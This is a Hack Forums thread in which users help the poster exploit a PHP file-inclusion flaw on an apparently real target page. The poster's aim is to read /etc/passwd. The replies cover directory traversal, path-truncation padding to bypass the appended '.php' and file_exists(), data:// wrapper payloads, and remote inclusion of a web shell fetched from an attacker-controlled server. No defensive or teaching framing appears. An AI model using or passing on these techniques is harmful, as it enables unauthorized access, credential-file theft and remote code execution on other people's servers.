

Forum:[Hack Forums](#)

Thread: [\[REDACTED\]](#)

Mayweather - July 6, 2017, 11:37 pm

[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]

Zixem - July 7, 2017, 1:40 am

Are you sure you implemented the Path Truncation right? the total input for the include() function is supposed to be 4096 bytes.

It means /src/+(YOUR BUFFER) = 4096 bytes or more.

plus, why did you showed only the file_exist() warning?

did you get any actual file inclusion errors?(they might be turned off, but i'm curious about what's going on over there)

Mayweather - July 7, 2017, 11:29 am

(Jul 7, 2017 01:40 AM)Zixem Wrote: [\[CITE\]](#) Are you sure you implemented the Path Truncation right? the total input for the include() function is supposed to be 4096 bytes.

It means /src/+(YOUR BUFFER) = 4096 bytes or more.

plus, why did you showed only the file_exist() warning?

did you get any actual file inclusion errors?(they might be turned off, but i'm curious about what's going on over there)

What it seems to be doing is checking if the file exists through file_exists() then passing input to a function that reads that data (probably include(), require(), readfile(), etc. most likely include() tho) the input is then appended '.php' and in a specific directory. I am able to include different PHP files by doing ..

VulnerablePage.php?file=../../testpage

Which will include testpage.php because '.php' is already appended I am looking for a way to escape this to retrieve /etc/passwd

I am pretty sure the code is setup kinda like this ~

PHP Code

```
<?php
$file = $_GET['file'];
if (file_exists($file)) {
include('/src/' . $file . '.php');
} else {
```

```
echo '404';  
}  
?>  
or this ~
```

PHP Code

```
<?php  
$file = $_GET['file'] . '.php';  
if (file_exists($file)) {  
include('/src/' . $file);  
} else {  
echo '404';  
}  
?>
```

either way its appending .php to the inputted file

I will go ahead and test and make sure the path truncation is correct

Zixem - July 7, 2017, 1:22 pm

(Jul 7, 2017 11:29 AM)ghana Wrote: [\[CITE\]](#) What it seems to be doing is checking if the file exists through file_exists() then passing input to a function that reads that data (probably include(), require(), readfile(), etc. most likely include() tho) the input is then appended '.php' and in a specific directory. I am able to include different PHP files by doing ..

VulnerablePage.php?file=../../testpage

Which will include testpage.php because '.php' is already appended I am looking for a way to escape this to retrieve /etc/passwd

I am pretty sure the code is setup kinda like this ~

PHP Code

```
<?php  
$file = $_GET['file'];  
if (file_exists($file)) {  
include('/src/' . $file . '.php');  
} else {  
echo '404';  
}  
?>
```

or this ~

PHP Code

```
<?php  
$file = $_GET['file'] . '.php';  
if (file_exists($file)) {  
include('/src/' . $file);  
} else {  
echo '404';  
}  
?>
```

either way its appending .php to the inputted file

I will go ahead and test and make sure the path truncation is correcthm, like i assumed.

i'm pretty sure that the Path Truncation is supposed to evade the file_exists() function too. because the truncation is happening on any buffer that represents a filename, and not a specific argument in a specific function.

another point to mention - make sure that your input characters matches the server's encoding\character representation in bytes(unicode\utf8\whatever the fuck it is) so you can fill the buffer with the right amount of bytes.

Imk what's going on ?

Mayweather - July 7, 2017, 2:16 pm

(Jul 7, 2017 01:22 PM)Zixem Wrote: [\[CITE\]](#) hm, like i assumed.

i'm pretty sure that the Path Truncation is supposed to evade the file_exists() function too. because the truncation is happening on any buffer that represents a filename, and not a specific argument in a specific function.

another point to mention - make sure that your input characters matches the server's encoding\character representation in bytes(unicode\utf8\whatever the fuck it is) so you can fill the buffer with the right amount of bytes.

Imk what's going on ?

default_charset is set to UTF-8

I PMed you the full payload so you can double check validation

c00perzz - July 9, 2017, 9:27 am

Em, why do you assume what the code looks like and don't you just run VulnerablePage.php?file=VulnerablePage to see the actual source code :S

Mafius - July 9, 2017, 1:42 pm

(Jul 9, 2017 09:27 AM)c00perzz Wrote: [\[CITE\]](#) Em, why do you assume what the code looks like and don't you just run VulnerablePage.php?file=VulnerablePage to see the actual source code :S

It's an include so PHP will interpret the file rather than show the contents of it.

-Elusive- - July 9, 2017, 3:53 pm

Do some reading of this page:

<http://php.net/manual/en/wrappers.php>

It's very useful.

You can try things like:

Code data://text/plain;base64,SSBsb3ZlIFBIUAo=which will become

Code data://text/plain;base64,SSBsb3ZlIFBIUAo=.phpBut the ending won't matter, it should still execute.

Another option is ftp or http

So like <http://myserver.com/shell.php> so you put <http://myserver.com/shell> in to the parameter and it appends the .php for you. You'll need your server configured to print the raw source (or make the php file print it whichever :P)

Same thing with FTP.

Often there's restriction on what wrappers you can use within include() but it's worth a shot.